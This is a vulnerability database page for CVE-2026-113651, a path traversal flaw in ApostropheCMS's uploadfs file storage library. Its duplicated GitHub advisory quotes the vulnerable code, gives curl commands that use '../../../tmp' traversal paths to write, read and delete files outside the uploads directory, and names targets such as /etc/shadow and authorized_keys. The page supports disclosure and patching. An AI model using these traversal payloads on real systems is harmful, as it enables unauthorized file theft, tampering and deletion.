Every CVE Search/ Get API key

CVE-2026-113651

ApostropheCMS: Path traversal in uploadfs

3.3 LowFix available

ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.33%Unchanged since Oct 21, 2026
90%50%10%1%

What each source reports

CVE List Score used 3.3

ApostropheCMS: Path traversal in uploadfs

ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.

Record
CVE-2026-113651
CVSS 3.1
3.3 LowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-105177 3.3

ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.

Record
EUVD-2026-105177
CVSS 3.1
3.3 LowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-gmfx-5g6x-rr72 3.3

ApostropheCMS: Path traversal in uploadfs

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.


Details

Root Cause

packages/uploadfs/uploadfs.js:652-655

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}

packages/uploadfs/lib/storage/local.js

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108

copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);
  • prefixPath() does not normalize paths or reject ../.
  • The local backend concatenates the path directly into the filesystem call.
  • Node.js resolves /app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.

Proof of Concept (PoC)

Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

Build and run

docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.

<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />

Manual reproduction

# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"

<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />


Impact

| Capability | Risk | |------------|------| | Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution | | Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials | | Arbitrary File Delete | Destroy system or application files → Denial of Service |


Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:

const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}
Record
GHSA-gmfx-5g6x-rr72
CVSS 3.1
3.3 LowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 3.3

ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.

Record
CVE-2026-113651
CVSS 3.1
3.3 LowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
OSV 3.3

ApostropheCMS: Path traversal in uploadfs

ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.

Record
CVE-2026-113651
CVSS 3.1
3.3 LowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-gmfx-5g6x-rr72 3.3

ApostropheCMS: Path traversal in uploadfs

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.


Details

Root Cause

packages/uploadfs/uploadfs.js:652-655

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}

packages/uploadfs/lib/storage/local.js

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108

copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);
  • prefixPath() does not normalize paths or reject ../.
  • The local backend concatenates the path directly into the filesystem call.
  • Node.js resolves /app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.

Proof of Concept (PoC)

Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

Build and run

docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.

<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />

Manual reproduction

# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"

<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />


Impact

| Capability | Risk | |------------|------| | Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution | | Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials | | Arbitrary File Delete | Destroy system or application files → Denial of Service |


Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:

const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}
Record
GHSA-gmfx-5g6x-rr72
CVSS 3.1
3.3 LowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
uploadfs
npm
before 1.28.0
1.28.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-113651 is a low vulnerability (CVSS 3.3) in Apostrophecms Apostrophe, published October 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in uploadfs 1.28.0.

References

MoveEnter Open